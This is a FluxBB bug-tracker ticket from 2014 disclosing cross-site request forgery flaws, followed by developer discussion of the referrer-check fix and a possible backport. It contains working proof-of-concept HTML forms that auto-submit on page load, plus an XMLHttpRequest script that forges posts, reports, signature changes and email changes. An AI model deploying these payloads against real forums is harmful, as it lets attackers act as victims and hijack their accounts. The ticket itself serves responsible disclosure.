Ticket #940 (fixed bug)
Cross-site request forgery issues with FluxBB
- Created: 2014-01-08 22:59:25
- Reported by: Kaslai
- Assigned to: Franz
- Milestone: 1.5.6
- Component: security
- Priority: highest
With the way things currently are, I've successfully crafted XSRF links that can force anyone to post an arbitrary post on any forum, and can force non-admods to do a ton of things, specifically:
Modify any aspect of their profile such as timezone, signature, and even email if secure email updating is not enabled.
Post arbitrary posts anywhere on the forum.
Edit any post they've made.
Submit bogus reports.
It is also possible to carry out an XSRF attack using only XMLHttpRequest objects, so a potentially malicious site could do an attack completely unnoticed. One could even spam posts on a timer in order to post as many as possible without tripping the flood limiter.
These are some pretty serious issues and I'm surprised they made it this far. All I've done is made confirm_referrer() throw a bad HTTP_REFERER error if the valid script name is an empty string, and the host is different from the forum's base url. I then inserted confirm_referrer(''); wherever one was lacking. The reason why I didn't just do confirm_referrer('scriptname') is because some things (such as posting) are accessible from multiple scripts, so my approach is very flexible. However, it would be vulnerable if there's an unsafe redirect somewhere in the code, though there doesn't appear to be one currently.
I've posted fixes on a GitHub fork.
Proof of concept implementations:
<!--Report spoofing
report = post id-->
<form id="post" name="post" method="post" action="http://localhost/misc.php?report=1">
<input type="hidden" name="form_sent" value="1" />
<input type="hidden" name="req_reason" value="This was against my will" />
<input type="hidden" name="req_message" value="I clicked a malicious link!" />
</form>
<!--Edit spoofing
DOESN'T WORK ON MODS/ADMINS
id = post id-->
<form id="post" name="post" method="post" action="http://localhost/edit.php?id=2">
<input type="hidden" name="form_sent" value="1" />
<input type="hidden" name="req_subject" value="I didn't mean to do this!" />
<input type="hidden" name="req_message" value="I clicked a malicious link!" />
</form>
<!--Post spoofing
ADMODS ARE SUSCEPTIBLE TO THIS
fid = forum id
tid = topic id-->
<form id="post" name="post" method="post" action="http://localhost/post.php?fid=1">
<input type="hidden" name="form_sent" value="1" />
<input type="hidden" name="req_subject" value="I didn't mean to do this!" />
<input type="hidden" name="req_message" value="I clicked a malicious link!" />
</form>
<!--Email spoofing
DOESN'T WORK ON MODS/ADMINS
ONLY WORKS IF NON-SECURE EMAIL CHANGING IS USED
id = User id-->
<form id="post" name="post" method="post" action="http://localhost/profile.php?id=3§ion=essentials">
<input type="hidden" name="form_sent" value="1" />
<input type="hidden" name="req_email" value="pwned@pwned.com" />
<input type="hidden" name="form[timezone]" value="0" />
<input type="hidden" name="form[dst]" value="0" />
<input type="hidden" name="form[time_format]" value="0" />
<input type="hidden" name="form[date_format]" value="0" />
</form>
<!--Signature spoofing
DOESN'T WORK ON MODS/ADMINS
id = user id-->
<form id="post" name="post" method="post" action="http://localhost/profile.php?id=2§ion=personality">
<input type="hidden" name="form_sent" value="1" />
<input type="hidden" name="signature" value="I clicked a malicious link!" />
</form>
<!--automatically submit the form on page load-->
<body onLoad="post.submit();">
Further, with XmlHttpRequest, you don't even have to redirect the user, and it can forge a post behind the scenes:
<script type="text/javascript">
var http = new XMLHttpRequest();
var url = "http://localhost/post.php?fid=1";
var params = "form_sent=1&req_subject=Oh%20no&req_message=I%20clicked%20a%20malicious%20link";
http.open("POST", url, true);
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http.setRequestHeader("Content-length", params.length);
http.setRequestHeader("Connection", "close");
http.withCredentials = "true";
http.send(params);
</script>
History
Franz 2014-01-08 23:02:30

- Milestone set to 1.5.6.
- Priority changed from high to highest.
Thanks for reporting!
Does the XMLHttpRequest trick work across domains?
Kaslai 2014-01-08 23:12:00

I've only tested it on localhost. Want me to try it on a live version of the software? As far as I know, CORS only filters the returned data, not the outgoing request.
Kaslai 2014-01-08 23:28:45

Weird, I thought I posted it. Anyways, the attack works via XmlHttpRequest, and I can share a working malicious link if you so choose (It would post to the test forum on clicking it)
Franz 2014-01-08 23:30:35

- Status changed from open to fixed.
Okay, I merged the pull request. Thank you very much!
Is the post in the "Test board" your proof?
Kaslai 2014-01-08 23:31:24

That's the result of me navigating to my malicious page, yes. You can't post links on the tracker though, and I won't try to obfuscate it since the filter's there for a reason. I'll provide it by email if you ask, and you can have noscript running to prevent the javascript from running to verify it as safe.
Kaslai 2014-01-08 23:37:19

Bad HTTP_REFERER. You were referred to this page from an unauthorized source.
Hooray!
Franz 2014-01-08 23:41:45

- Visibility set to public.
Beautiful. Let's get the release party started!
And good night to you! I'm done here.
Studio384 2014-01-09 20:53:25

Do we need to push this to 1.4 as 1.4.12? If so, I've got some free time.
Kaslai 2014-01-09 20:59:28

A brief glance at 1.4.11 shows that it is vulnerable as well. I just took a look at post.php, profile.php, and admin_options.php, and it looks like it's vulnerable in the same places for the same reasons. (Admin things are secure, but posting and profile modification aren't)
It's up to you guys if you want to update it though. It could just be a selling point to get people to upgrade
Studio384 2014-01-09 21:10:52

Well, we are still supporting our 1.4-branch for security updates, and this is actualy the first that is very likely to be used now it is revealed. There are still a lot of people on 1.4 and some months, FluxBB 1.4 is downloaded more than FluxBB 1.5 (I'm talking about recent months here).